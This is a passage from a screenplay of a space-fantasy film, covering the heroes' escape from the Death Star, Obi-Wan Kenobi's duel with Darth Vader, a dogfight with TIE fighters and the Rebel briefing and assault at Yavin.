door begins to open, revealing the feet of +more troops. + +LEIA: Here they come! + +Leia hits one of the stormtroopers on the bridge above, and +he falls into the abyss. Luke tosses the rope across the gorge +and it wraps itself around an outcropping of pipes. He tugs on +the rope to make sure it is secure, then grabs the princess in +his arms. Leia looks at Luke, then kisses him quickly on the +lips. Luke is very surprised. + +LEIA: For luck! + +Luke pushes off and they swing across the treacherous abyss +to the corresponding hatchway on the opposite side. Just as +Luke and Leia reach the far side of the canyon, the +stormtroopers break through the hatch and begin to fire at +the escaping duo. Luke returns the fire before ducking into +the tiny subhallway. + +INTERIOR: DEATH STAR -- NARROW PASSAGEWAY. + +Ben hides in the shadows of the narrow passageway as several +stormtroopers rush past him in the main hallway. He checks to +make sure they're gone, then runs down the hallway in the +opposite direction. Darth Vader appears at the far end of the +hallway and starts after the old Jedi. + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY. + +Threepio looks around at the troops milling about the +pirateship entry ramp. + +THREEPIO: Where could they be? + +Artoo, plugged into the computer socket, turns his dome +left and right, beeping a response. + +INTERIOR: DEATH STAR -- CORRIDOR -- BLAST SHIELDS DOOR. + +Han and Chewbacca run down a long corridor with several +troopers hot on their trail. + +TROOPER: Close the blast doors! + +At the end of the hallway, blast doors begin to close in +front of them. The young starpilot and his furry companion +race past the huge doors just as they are closing, and manage +to get off a couple off laserblasts at the pursuing troops +before the doors slam shut. + +TROOPER: Open the blast doors! Open the blast doors! + +INTERIOR: DEATH STAR -- HALLWAY LEADING TO MAIN FORWARD BAY. + +Ben hurries along one of the tunnels leading to the hangar +where the pirateship waits. Just before he reaches the hangar, +Darth Vader steps into view at the end of the tunnel, not ten +feet away. Vader lights his saber. Ben also ignites his and +steps slowly forward. + +VADER: I've been waiting for you, Obi-Wan. We meet again, at last. The +circle is now complete. + +Ben Kenobi moves with elegant ease into a classical +offensive position. The fearsome Dark Knight takes a defensive +stance. + +VADER: When I left you, I was but the learner; now I am the master. + +BEN: Only a master of evil, Darth. + +The two Galactic warriors stand perfectly still for a few +moments, sizing each other up and waiting for the right +moment. Ben seems to be under increasing pressure and strain, +as if an invisible weight were being placed upon him. He +shakes his head and, blinking, tries to clear his eyes. +Ben makes a sudden lunge at the huge warrior but is checked +by a lightning movement of The Sith. A masterful slash stroke +by Vader is blocked by the old Jedi. Another of the Jedi's +blows is blocked, then countered. Ben moves around the Dark +Lord and starts backing into the massive starship hangar. The +two powerful warriors stand motionless for a few moments with +laser swords locked in mid-air, creating a low buzzing sound. + +VADER: Your powers are weak, old man. + +BEN: You can't win, Darth. If you strike me down, I shall become more +powerful than you can possibly imagine. + +Their lightsabers continue to meet in combat. + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY. + +Han Solo and Chewbacca, their weapons in hand, lean back +against the wall surveying the forward bay, watching the +Imperial stormtroopers make their rounds of the hangar. + +HAN: Didn't we just leave this party? + +Chewbacca growls a reply, as Luke and the princess join +them. + +HAN: What kept you? + +LEIA: We ran into some old friends. + +LUKE: Is the ship all right? + +HAN: Seems okay, if we can get to it. Just hope the old man got the +tractor beam out of commission. + +INTERIOR: DEATH STAR -- HALLWAY. + +Vader and Ben Kenobi continue their powerful duel. As they hit +their lightsabers together, lightning flashes on impact. +Troopers look on in interest as the old Jedi and Dark Lord of +The Sith fight. Suddenly Luke spots the battle from his +group's vantage point. + +LUKE: Look! + +Luke, Leia, Han, and Chewie look up and see Ben and Vader +emerging from the hallways on the far side of the docking bay. + +INTERIOR: DEATH STAR -- DOCKING BAY. + +Threepio and Artoo-Detoo are in the center of the Death Star's +Imperial docking bay. + +THREEPIO: Come on, Artoo, we're going! + +Threepio ducks out of sight as the seven stormtroopers who +were guarding the starship rush past them heading towards Ben +and The Sith Knight. He pulls on Artoo. + +INTERIOR: DEATH STAR -- HALLWAY. + +Solo, Chewie, Luke, and Leia tensely watch the duel. The +troops rush toward the battling knights. + +HAN: Now's our chance! Go! + +They start for the Millennium Falcon. Ben sees the troops +charging toward him and realizes that he is trapped. Vader +takes advantage of Ben's momentary distraction and brings his +mighty lightsaber down on the old man. Ben manages to deflect +the blow and swiftly turns around. +The old Jedi Knight looks over his shoulder at Luke, lifts +his sword from Vader's then watches his opponent with a serene +look on his face. +Vader brings his sword down, cutting old Ben in half. Ben's +cloak falls to the floor in two parts, but Ben is not in it. +Vader is puzzled at Ben's disappearance and pokes at the empty +cloak. As the guards are distracted, the adventurers and the +robots reach the starship. Luke sees Ben cut in two and starts +for him. Aghast, he yells out. + +LUKE: No! + +The stormtroopers turn toward Luke and begin firing at him. +The robots are already moving up the ramp into the Millennium +Falcon, while Luke, transfixed by anger and awe, returns their +fire. Solo joins in the laserfire. Vader looks up and advances +toward them, as one of his troopers is struck down. + +HAN: (to Luke) Come on! + +LEIA: Come on! Luke, its too late! + +HAN: Blast the door! Kid! + +Luke fires his pistol at the door control panel, and it +explodes. The door begins to slide shut. Three troopers charge +forward firing laser bolts, as the door slides to a close +behind them, shutting Vader and the other troops out of the +docking bay. A stormtrooper lies dead at the feet of his +onrushing compatriots. Luke starts for the advancing troops, +as Solo and Leia move up the ramp into the pirateship. He +fires, hitting a stormtrooper, who crumbles to the floor. + +BEN'S VOICE: Run, Luke! Run! + +Luke looks around to see where the voice came from. He +turns toward the pirateship, ducking Imperial gunfire from the +troopers and races into the ship. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Han pulls back on the controls and the ship begins to move. The +dull thud of laser bolts bouncing off the outside of the ship +as Chewie adjusts his controls. + +HAN: I hope the old man got that tractor beam out if commission, or +this is going to be a real short trip. Okay, hit it! + +Chewbacca growls in agreement. + +EXTERIOR: MILLENNIUM FALCON. + +The Millennium Falcon powers away from the Death Star docking +bay, makes a spectacular turn and disappears into the vastness +of space. + +INTERIOR: MILLENNIUM FALCON -- CENTRAL HOLD AREA. + +Luke, saddened by the loss of Obi-Wan Kenobi, stares off +blankly as the robots look on. Leia puts a blanket around him +protectively, and Luke turns and looks up at her. She sits +down beside him. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Solo spots approaching enemy ships. + +HAN: (to Chewie) We're coming up on the sentry ships. Hold 'em off! +Angle the deflector shields while I charge up the main guns! + +INTERIOR: MILLENNIUM FALCON -- CENTRAL HOLD AREA. + +Luke looks downward sadly, shaking his head back and forth, as +the princess smiles comfortingly at him. + +LUKE: I can't believe he's gone. + +Artoo-Detoo beeps a reply. + +LEIA: There wasn't anything you could have done. + +Han rushes into the hold area where Luke is sitting with +the princess. + +HAN: (to Luke) Come on, buddy, we're not out of this yet! + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS -- COCKPIT. + +Solo climbs into his attack position in the topside gunport. + +INTERIOR: MILLENNIUM FALCON -- HOLD AREA. + +Luke gets up and moves out toward the gunports as Leia heads +for the cockpit. + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS -- COCKPIT. + +Luke climbs down the ladder into the gunport cockpit, settling +into one of the two main laser cannons mounted in large +rotating turrets on either side of the ship. + +INTERIOR: MILLENNIUM FALCON -- SOLO'S GUNPORT. + +Han adjusts his headset as he sits before the controls of his +laser cannon, then speaks into the attached microphone. + +HAN: (to Luke) You in, kid? Okay, stay sharp! + + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS -- COCKPIT. + +Chewbacca and Princess Leia search the heavens for attacking +TIE fighters. The Wookiee pulls back on the speed controls as +the ship bounces slightly. + +INTERIOR: MILLENNIUM FALCON -- SOLO'S GUNPORT -- COCKPIT. + +Computer graphic readouts form on Solo's target screen, as Han +reaches for controls. + +INTERIOR: MILLENNIUM FALCON -- GUNPORT -- COCKPIT. + +Luke sits in readiness for the attack, his hand on the laser +cannon's control button. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Chewbacca spots the enemy ships and barks. + +LEIA: (into intercom) Here they come! + +INTERIOR: MILLENNIUM FALCON -- COCKPIT -- POV (POINT OF VIEW) -- SPACE. + +The Imperial TIE fighters move towards the Millennium Falcon, +one each veering off to the left and right of the pirateship. + +INTERIOR: TIE FIGHTER -- COCKPIT. + +The stars whip past behind the Imperial pilot as he adjusts +his maneuvering joy stick. + +EXTERIOR: MILLENNIUM FALCON -- IN SPACE. + +The TIE fighter races past the Falcon, firing laser beams as +it passes. + +INTERIOR: MILLENNIUM FALCON -- HOLD AREA. + +Threepio is seated in the hold area, next to Artoo-Detoo. The +pirateship bounces and vibrates as the power goes out in the +room and then comes back on. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT -- GUNPORTS. + +A TIE fighter maneuvers in front of Han, who follows it and +fires at it with the laser cannon. Luke does likewise, as the +fighter streaks into view. The ship has suffered a minor hit, +and bounces slightly. + +EXTERIOR: SPACE. + +Two TIE fighters dive down toward the pirateship. + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS. + +Luke fires at an unseen fighter. + +LUKE: They're coming in too fast! + +EXTERIOR: SPACE -- MILLENNIUM FALCON/TIE FIGHTERS. + +Pan with pirateship as two TIE fighters charge through the +background. Laserbolts streak from all the craft. + +INTERIOR: MILLENNIUM FALCON -- CHEWBACCA. + +The ship shudders as a laserbolt hits very close to the +cockpit. The Wookiee chatters something to Leia. + +EXTERIOR: TIE FIGHTER -- SPACE. + +Full shot of a TIE fighter as it moves fast through the frame, +firing on the pirate starship. + +EXTERIOR: SPACE -- TIE FIGHTERS. + +The two TIE fighters fire a barrage of laserbeams at the +pirateship. + +INTERIOR: MILLENNIUM FALCON -- MAIN PASSAGEWAY. + +A laserbolt streaks into the side of the pirateship. The ship +lurches violently, throwing poor Threepio into a cabinet fill +of small computer chips. + +THREEPIO: Oooh! + +INTERIOR: MILLENNIUM FALCON -- COCKPIT -- GUNPORTS. + +Leia watches the computer readout as Chewbacca manipulates the +ship's controls. + +LEIA: We've lost lateral controls. + +HAN: Don't worry, she'll hold together. + +An enemy laserbolt hits the pirateship's control panel, +causing it to blow out in a shower of sparks. + +HAN: (to ship) You hear me, baby? Hold together! + +Artoo-Detoo advances toward the smoking sparking control +panel, dousing the inferno by spraying it with fire retardant +beeping all the while. + +INTERIOR: MILLENNIUM FALCON -- GUNPORT. + +Luke swivels in his gun mount, following the TIE fighter with +his laser cannon. + +INTERIOR: MILLENNIUM FALCON -- GUNPORT. + +Solo aims his laser cannon at the enemy fighter. + +EXTERIOR: SPACE. + +A TIE fighter streaks in front of the starship. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Leia watches the TIE fighter ship fly over. + +EXTERIOR: SPACE. + +A TIE fighter heads right for the pirateship, then zooms +overhead. + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS. + +Luke follows the TIE fighter across his field of view, firing +laserbeams from his cannon. + +EXTERIOR: TIE FIGHTER. + +A TIE fighter dives past the pirateship. + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS. + +Luke fires at a TIE fighter. At his port, Han follows a +fighter in his sights, releasing a blast of laserfire. He +connects, and the fighter explodes into fiery dust. Han laughs +victoriously. + +EXTERIOR: SPACE. + +Two TIE fighters move toward and over the Millennium Falcon, +unleashing a barrage of laserbolts at the ship. + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS. + +Another TIE fighter moves in on the pirateship and Luke, +smiling, fires the laser cannon at it, scoring a spectacular +direct hit. + +LUKE: Got him! I got him! + +Han turns and gives Luke a victory wave which Luke +gleefully returns. + +HAN: Great kid! Don't get cocky. + +Han turns back to his laser cannon. + +EXTERIOR: SPACE. + +Two more TIE fighters cross in front of the pirateship. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT + +While Chewbacca manipulates the controls, Leia turns, looking +over her shoulder out the ports. + +LEIA: There are still two more of them out there! + +EXTERIOR: SPACE. + +A TIE fighter moves up over the pirateship, firing laserblasts +at it. + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS. + +Luke and Han look into their respective projected target +screens. An Imperial fighter crosses Solo's port, and Han +swivels in his chair, following it with blasts from his laser +cannon. Another fighter crosses Luke's port, and he reacts in +a like manner, the glow of his target screen lighting his +face. + +EXTERIOR: SPACE. + +The TIE fighter zooms toward the pirateship, firing +destructive blasts at it. + +INTERIOR: MILLENNIUM FALCON -- GUNPORTS. + +Luke fires a laserblast at the approaching enemy fighter, and +it bursts into a spectacular explosion. Luke's projected +screen gives a readout of the hit. The pirateship bounces +slightly as it is struck by the enemy fire. + +EXTERIOR: SPACE -- TIE FIGHTER. + +The last of the attacking Imperial TIE fighters looms in, +firing upon the Falcon. + +INTERIOR: MILLENNIUM FALCON -- GUNPORT. + +Solo swivels behind his cannon, his aim describing the arc of +the TIE fighter. The fighter comes closer, firing at the +pirateship, but a well-aimed blast from Solo's laser cannon +hits the attacker, which blows up in a small atomic shower of +burning fragments. + +LUKE: (laughing) That's it! We did it! + +The princess jumps up and gives Chewie a congratulatory +hug. + +LEIA: We did it! + +INTERIOR: MILLENNIUM FALCON -- PASSAGEWAY. + +Threepio lies on the floor of the ship, completely tangled in +the smoking, sparking wires. + +THREEPIO: Help! I think I'm melting! (to Artoo) This is all your +fault. + +Artoo turns his dome from side to side, beeping in +response. + +EXTERIOR: SPACE -- MILLENNIUM FALCON. + +The victorious Millennium Falcon moves off majestically +through space. + +INTERIOR: DEATH STAR -- CONTROL ROOM. + +Darth Vader strides into the control room, where Tarkin is +watching the huge view screen. A sea of stars is before him. + +TARKIN: Are they away? + +VADER: They have just made the jump into hyperspace. + +TARKIN: You're sure the homing beacon is secure aboard their ship? I'm +taking an awful risk, Vader. This had better work. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +Han, removes his gloves and smiling, is at the controls of the +ship. Chewie moves into the aft section to check the damage. +Leia is seated near Han. + +HAN: Not a bad bit of rescuing, huh? You know, sometimes I even amaze +myself. + +LEIA: That doesn't sound too hard. Besides, they let us go. It's the +only explanation for the ease of our escape. + +HAN: Easy...you call that easy? + +LEIA: Their tracking us! + +HAN: Not this ship, sister. + +Frustrated, Leia shakes her head. + +LEIA: At least the information in Artoo is still intact. + +HAN: What's so important? What's he carrying? + +LEIA: The technical readouts of that battle station. I only hope that +when the data is analyzed, a weakness can be found. It's not over yet! + +HAN: It is for me, sister! Look, I ain't in this for your revolution, +and I'm not in it for you, Princess. I expect to be well paid. I'm in +it for the money! + +LEIA: You needn't worry about your reward. If money is all that you +love, then that's what you'll receive! + +She angrily turns, and as she starts out of the cockpit, +passes Luke coming in. + +LEIA: Your friend is quite a mercenary. I wonder if he really cares +about anything...or anyone. + +LUKE: I care! + +Luke, shaking his head, sits in the copilot seat. He and +Han stare out at the vast blackness of space. + +LUKE: So...what do you think of her, Han? + +HAN: I'm trying not to, kid! + +LUKE: (under his breath) Good... + +HAN: Still, she's got a lot of spirit. I don't know, what do you +think? Do you think a princess and a guy like me... + +LUKE: No! + +Luke says it with finality and looks away. Han smiles at +young Luke's jealousy. + +EXTERIOR: SPACE AROUND FOURTH MOON OF YAVIN. + +The battered pirateship drifts into orbit around the planet +Yavin and proceeds to one of its tiny green moons. + +EXTERIOR: FOURTH MOON OF YAVIN. + +The pirateship soars over the dense jungle. + +EXTERIOR: MASSASSI OUTPOST. + +An alert guard, his laser gun in hand, scans the countryside. +He sets the gun down and looks toward the temple, barely +visible in the foliage. + +EXTERIOR: MASSASSI OUTPOST -- JUNGLE TEMPLE. + +Rotting in a forest of gargantuan trees, an ancient temple +lies shrouded in an eerie mist. The air is heavy with the +fantastic cries of unimaginable creatures. Han, Luke and the +others are greeted by the Rebel troops. +Luke and the group ride into the massive temple on an +armored military speeder. + +INTERIOR: MASSASSI -- MAIN HANGAR DECK. + +The military speeder stops in a huge spaceship hangar, set up +in the interior of the crumbling temple. Willard, the +commander of the Rebel forces, rushes up to the group and +gives Leia a big hug. Every one is pleased to see her. + +WILLARD: (holding Leia) You're safe! We had feared the worst. + +Willard composes himself, steps back and bows formally. + +WILLARD: When we heard about Alderaan, we were afraid that you were... +lost along with your father. + +LEIA: We don't have time for our sorrows, Commander. The battle +station has surely tracked us here (looking pointedly to Han). It's +the only explanation for the ease of our escape. You must use the +information in this R2 unit to plan the attack. It is our only hope. + +EXTERIOR: SPACE. + +The surface of the Death Star ominously approaches the red +planet Yavin. + +INTERIOR: DEATH STAR -- CONTROL ROOM. + +Grand Moff Tarkin and Lord Vader are interrupted in their +discussion by the buzz of the comlink. Tarkin moves to answer +the call. + +TARKIN: Yes. + +DEATH STAR INTERCOM VOICE: We are approaching the planet Yavin. The +Rebel base is on a moon on the far side. We are preparing to orbit the +planet. + +EXTERIOR: YAVIN -- JUNGLE. + +A lone guard stands in a tower high above the Yavin landscape, +surveying the countryside. A mist hangs over the jungle of +twisted green. + +INTERIOR: MASSASSI -- WAR ROOM BRIEFING AREA. + +Dodonna stands before a large electronic wall display. Leia +and several other senators are to one side of the giant +readout. The low-ceilinged room is filled with starpilots, +navigators, and a sprinkling of R2-type robots. Everyone is +listening intently to what Dodonna is saying. Han and +Chewbacca are standing near the back. + +DODONNA: The battle station is heavily shielded and carries a +firepower greater than half the star fleet. It's defenses are designed +around a direct large-scale assault. A small one-man fighter should be +able to penetrate the outer defense. + +Gold Leader, a rough looking man in his early thirties, +stands and addresses Dodonna. + +GOLD LEADER: Pardon me for asking, sir, but what good are snub +fighters going to be against that? + +DODONNA: Well, the Empire doesn't consider a small one-man fighter to +be any threat, or they'd have a tighter defense. An analysis of the +plans provided by Princess Leia has demonstrated a weakness in the +battle station. + +Artoo-Detoo stands next to a similar robot, makes beeping +sounds, and turns his head from right to left. + +DODONNA: The approach will not be easy. You are required to maneuver +straight down this trench and skim the surface to this point. The +target area is only two meters wide. It's a small thermal exhaust +port, right below the main port. The shaft leads directly to the +reactor system. A precise hit will start a chain reaction which should +destroy the station. + +A murmer of disbelief runs through the room. + +DODONNA: Only a precise hit will set up a chain reaction. The shaft is +ray-shielded, so you'll have to use proton torpedoes. + +Luke is sitting next to Wedge Antilles, a hotshot pilot +about sixteen years old. + +WEDGE: That's impossible, even for a computer. + +LUKE: It's not impossible. I used to bull's-eye womp rats in my +T-sixteen back home. They're not much bigger than two meters. + +DODONNA: Man your ships! And may the Force be with you! + +The group rises and begins to leave. + +EXTERIOR: SPACE. + +The Death Star begins to move around the planet toward the +tiny green moon. + +INTERIOR: DEATH STAR. + +Tarkin and Vader watch the computer projected screen with +interest, as a circle of lights intertwines around one another +on the screen showing it's position in relation to Yavin and +the forth moon. + +DEATH STAR INTERCOM VOICE: Orbiting the planet at maximum velocity. +The moon with the Rebel base will be in range in thirty minutes. + +VADER: This will be a day long remembered. It has seen the end of +Kenobi and it will soon see the end of the Rebellion. + +INTERIOR: MASSASSI OUTPOST -- MAIN HANGAR DECK. + +Luke, Threepio and little Artoo enter the huge spaceship +hangar and hurry along a long line of gleaming spacefighters. +Flight crews rush around loading last-minute armaments and +unlocking power couplings. In an area isolated from this +activity Luke finds Han and Chewbacca loading small boxes onto +an armored speeder. + +MAN'S VOICE: (over loudspeaker) All flight trooper, man your stations. +All flight troops, man your stations. + +Han is deliberately ignoring the activity of the fighter +pilots' preparation. Luke is quite saddened at the sight of +his friend's departure. + +LUKE: So...you got your reward and you're just leaving then? + +HAN: That's right, yeah! I got some old debts I've got to pay off with +this stuff. Even if I didn't, you don't think I'd be fool enough to +stick around here, do you? Why don't you come with us? You're pretty +good in a fight. I could use you. + +LUKE: (getting angry) Come on! Why don't you take a look around? You +know what's about to happen, what they're up against. They could use a +good pilot like you. You're turning your back on them. + +HAN: What good's a reward if you ain't around to use it? Besides, +attacking that battle station ain't my idea of courage. It's more like +suicide. + +LUKE: All right. Well, take care of yourself, Han. I guess that's +what you're best at, isn't it? + +Luke goes off and Han hesitates, then calls to him. + +HAN: Hey, Luke...may the Force be with you! + +Luke turns and sees Han wink at him. Luke lifts his hand in +a small wave and then goes off. +Han turns to Chewie who growls at his captain, + +HAN: What're you lookin' at? I know what I'm doing. + +INTERIOR: MAIN HANGAR DECK -- LUKE'S SHIP. + +Luke, Leia, and Dodonna meet under a huge space fighter. + +LEIA: What's wrong? + +LUKE: Oh, it's Han! I don't know, I really thought he'd change his +mind. + +LEIA: He's got to follow his own path. No one can choose it for him. + +LUKE: I only wish Ben were here. + +Leia gives Luke a little kiss, turns, and goes off. As Luke +heads for his ship, another pilot rushes up to him and grabs +his arm. + +BIGGS: Luke! I don't believe it! How'd you get here...are you going +out with us?! + +LUKE: Biggs! Of course, I'll be up there with you! Listen, have I got +some stories to tell... + +Red Leader, a rugged handsome man in his forties, comes up +behind Luke and Biggs. He has the confident smile of a born +leader. + +RED LEADER: Are you...Luke Skywalker? Have you been checked out on the +Incom T-sixty-five? + +BIGGS: Sir, Luke is the best bushpilot in the outer rim territories. + +Red Leader pats Luke on the back as they stop in front of +his fighter. + +RED LEADER: I met your father once when I was just a boy, he was a +great pilot. You'll do all right. If you've got half of your father's +skill, you'll do better than all right. + +LUKE: Thank you, sir. I'll try. + +Red Leader hurries to his own ship. + +BIGGS: I've got to get aboard. Listen, you'll tell me your stories +when we come back. All right? + +LUKE: I told you I'd make it someday, Biggs. + +BIGGS: (going off) You did, all right. It's going to be like old +times, Luke. We're a couple of shooting stars that'll never be +stopped! + +Luke laughs and shakes his head in agreement. He heads for +his ship. +As Luke begins to climb up the ladder into his sleek, +deadly spaceship, the crew chief, who is working on the craft, +points to little Artoo, who is being hoisted into a socket on +the back of the fighter. + +CHIEF: This R2 unit of your seems a bit beat up. Do you want a new +one? + +LUKE: Not on your life! That little droid and I have been through a +lot together. (to Artoo) You okay, Artoo? + +The crewmen lower Artoo-Detoo into the craft. Now a part of +the exterior shell of the starship, the little droid beeps +that he is fine. +Luke climbs up into the cockpit of his fighter and puts an +his helmet. Threepio looks on from the floor of the massive +hangar as the crewmen secure his little electronic partner +into Luke's X-wing. It's an emotional-filled moment as Artoo +beeps good-bye. + +CHIEF: Okay, easy she goes! + +THREEPIO: Hang on tight,Artoo, you've got to come back. + +Artoo beeps in agreement. + +THREEPIO: You wouldn't want my life to get boring, would you? + +Artoo whistles his reply. +All final preparations are made for the approaching battle. +The hangar is buzzing with the last minute activity as the +pilots and crewmen alike make their final adjustments. The hum +of activity is occasionally trespassed by the distorted voice +of the loudspeaker issuing commands. Coupling hoses are +disconnected from the ships as they are fueled. Cockpit +shields roll smoothly into place over each pilot. A signalman, +holding red guiding lights, directs the ships. Luke, a trace +of a smile gracing his lips, peers about through his goggles. + +BEN'S VOICE: Luke, the Force will be with you. + +Luke is confused at the voice and taps his headphones. + +EXTERIOR: MASSASSI OUTPOST -- JUNGLE. + +All that can be seen of the fortress is a lone guard standing +on a small pedestal jutting out above the dense jungle. The +muted gruesome crying sounds that naturally permeate this +eerie purgatory are overwhelmed by the thundering din of ion +rockets as four silver starships catapult from the foliage in +a tight formation and disappears into the morning cloud cover. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +The princess, Threepio, and a field commander sit quietly +before the giant display showing the planet Yavin and its four +moons. The red dot that represents the Death Star moves ever +closer to the system. A series of green dots appear around the +fourth moon. A din of indistinct chatter fills the war room. + +MASSASSI INTERCOM VOICE: Stand-by alert. Death Star approaching. +Estimated time to firing range, fifteen minutes. + +EXTERIOR: SPACE. + +The Death Star slowly moves behind the massive yellow surface +of Yavin in the foreground, as many X-wing fighters flying in +formation zoom toward us and out of the frame. + +EXTERIOR: SPACE -- ANOTHER ANGLE. + +Light from a distant sun creates an eerie atmospheric glow +around a huge planet, Yavin. Rebel fighters flying in +formation settle ominously in the foreground and very slowly +pull away. + +INTERIOR: RED LEADER STARSHIP -- COCKPIT. + +Red Leader lowers his visor and adjusts his gun sights, +looking to each side at his wing men. + +RED LEADER: All wings report in. + +INTERIOR: ANOTHER COCKPIT. + +One of the Rebel fighters checks in through his mike. + +RED TEN: Red Ten standing by. + +INTERIOR: BIGGS' COCKPIT. + +Biggs checks his fighter's controls, alert and ready for +combat. + +RED SEVEN: (over Biggs' headset) Red Seven standing by. + +BIGGS: Red Three standing by. + +INTERIOR: PORKINS' COCKPIT. + +PORKINS: Red Six standing by. + +RED NINE: (over headset) Red Nine standing by. + +INTERIOR: WEDGE'S FIGHTER -- COCKPIT. + +WEDGE: Red Two standing by. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +RED ELEVEN: (over headset) Red Eleven standing by. + +LUKE: Red Five standing by. + +EXTERIOR: LUKE'S X-WING FIGHTER + +Artoo-Detoo, in position outside of the fighter, turns his +head from side to side and makes beeping sounds. + +INTERIOR: RED LEADER'S FIGHTER -- COCKPIT. + +RED LEADER: Lock S-foils in attack position. + +EXTERIOR: SPACE. + +The group of X-wing fighters move in formation toward the +Death Star, unfolding the wings and locking them in the "X" +position. + +INTERIOR: BIGGS' COCKPIT + +READ LEADER: (over headset) We're passing through their magnetic +field. + +INTERIOR: RED LEADER'S COCKPIT. + +RED LEADER: Hold tight! + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke adjusts his controls as he concentrates on the +approaching Death Star. The ship begins to be buffeted +slightly. + +RED LEADER: (over headset) Switch your deflectors on. + +INTERIOR: ANOTHER COCKPIT. + +RED LEADER: (over headset) Double front! + +EXTERIOR: SPACE. + +The fighters, now X-shaped darts, move in formation. The Death +Star now appears to be a small moon growing rapidly in size as +the Rebel fighters approach. Complex patterns on the metallic +surface begin to become visible. A large dish antenna is built +into the surface on one side. + +INTERIOR: WEDGE'S COCKPIT. + +Wedge is amazed and slightly frightened at the awesome +spectacle. + +WEDGE: Look at the size of that thing! + +RED LEADER: (over headset) Cut the chatter, Red Two. + +INTERIOR: RED LEADER'S COCKPIT. + +RED LEADER: Accelerate to attack speed. This is it, boys! + +EXTERIOR: SPACE. + +As the fighters move closer to the Death Star, the awesome +size of the gargantuan Imperial fortress is revealed. Half of +the deadly space station is in shadow and this area sparkles +with thousands of small lights running in thin lines and +occasionally grouped in large clusters; somewhat like a city +at night as seen from a weather satellite. + +INTERIOR: GOLD LEADER'S COCKPIT. + +GOLD LEADER: Red Leader, this is Gold Leader. + +RED LEADER: (over headset) I copy, Gold Leader. + +GOLD LEADER: We're starting for the target shaft now. + +INTERIOR: RED LEADER'S COCKPIT. + +Red Leader looks around at his wingmen; the Death Star looming +in from behind. Two Y-wing fighters bob back and forth in the +background. He moves his computer targeting device into +position. + +RED LEADER: We're in position. I'm going to cut across the axis and +try and draw their fire. + +EXTERIOR: SPACE. + +Two squads of Rebel fighters peel off. The X-wings dive +towards the Death Star surface. A thousand lights glow across +the dark grey expanse of the huge station. + +INTERIOR: DEATH STAR. + +Alarm sirens scream as soldiers scramble to large turbo- +powered laser gun emplacements. Electronic drivers rotate the +huge guns into position as crew adjust their targeting +devices. + +EXTERIOR: SPACE AROUND THE DEATH STAR. + +Laserbolts streak through the star-filled night. The Rebel +X-wing fighters move in toward the Imperial base, as the Death +Star aims its massive laser guns at the Rebel forces and +fires. + +INTERIOR: MASSASSI OUTPOST -- WAR ROOM. + +Princess Leia listens to the battle over the intercom. +Threepio is at her side. + +WEDGE: (over war room speaker system) Heavy fire, boss! Twenty-degrees. + +RED LEADER: (over speaker) I see it. Stay low. + +EXTERIOR: SPACE. + +An X-wing zooms across the surface of the Death Star. + +INTERIOR: DEATH STAR. + +Technical crews scurry here and there loading last-minute +armaments and unlocking power cables. + +INTERIOR: WEDGE'S COCKPIT. + +Wedge maneuvers his fighter toward the menacing Death Star. + +EXTERIOR: SPACE. + +X-wings continue in their attack course on the Death Star. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke nosedives radically, starting his attack on the monstrous +fortress. The Death Star surface streaks past the cockpit +window. + +LUKE: This is Red Five; I'm going in! + +EXTERIOR: SPACE. + +Luke's X-wing races toward the Death Star. Laserbolts streak +from Luke's weapons, creating a huge fireball explosion on the +dim surface. + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Terror crosses Luke's face as he realizes he won't be able to +pull out in time to avoid the fireball. + +BIGGS: (over headset) Luke, pull up! + +EXTERIOR: SURFACE OF DEATH STAR. + +Luke's ship emerges from the fireball, with the leading edges +of his wings slightly scorched. + +INTERIOR: BIGGS' COCKPIT. + +BIGGS: Are you all right? + +INTERIOR: LUKE'S X-WING FIGHTER -- COCKPIT. + +Luke adjusts his controls and breathes a sigh of relief. Flak +bursts outside the cockpit window. + +LUKE: I got a little cooked, but I'm okay. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Rebel fighters continue to strafe the Death Star's surface +with laserbolts. + +INTERIOR: DEATH STAR. + +Walls buckle and cave in. Troops and equipment are blown in +all directions. Stormtroopers stagger out of the rubble. +Standing in the middle of the chaos, a vision of calm and +foreboding, is Darth Vader. One of his Astro-Officers rushes +up to him. + +ASTRO-OFFICER: We count thirty Rebel ships, Lord Vader. But they're so +small they're evading our turbo-lasers! + +VADER: We'll have to destroy them ship to ship. Get the crews to their +fighters. + +INTERIOR: DEATH STAR. + +Smoke belches from the giant laser guns as they wind up their +turbine generators to create sufficient power. The crew rushes +about preparing for another blast. Even the troopers head gear +is not adequate to protect them from the overwhelming noise of +the monstrous weapon. One troopers bangs his helmet with his +hand in an attempt to stop the ringing. + +INTERIOR: READ LEADER'S X-WING FIGHTER -- COCKPIT -- TRAVELING. + +Red Leader flies through a heavy hail of flak. + +RED LEADER: Luke, let me know when you're going in. + +INTERIOR: LUKE'S X-WING -- COCKPIT -- TRAVELING. + +The Red Leader's X-wing flies past Luke as he puts his nose +down and starts his attack dive. + +LUKE: I'm on my way in now... + +RED LEADER: Watch yourself! There's a lot of fire coming from the +right side of that deflection tower. + +LUKE: I'm on it. + +EXTERIOR: SURFACE OF THE DEATH STAR. + +Luke flings his X-wing into a twisting dive across the horizon +and down onto the dim grey surface. + +EXTERIOR: LUKE'S X-WING TRAVELING. + +A shot hurls from Luke's guns. Laserbolts streak toward the +onrushing Death 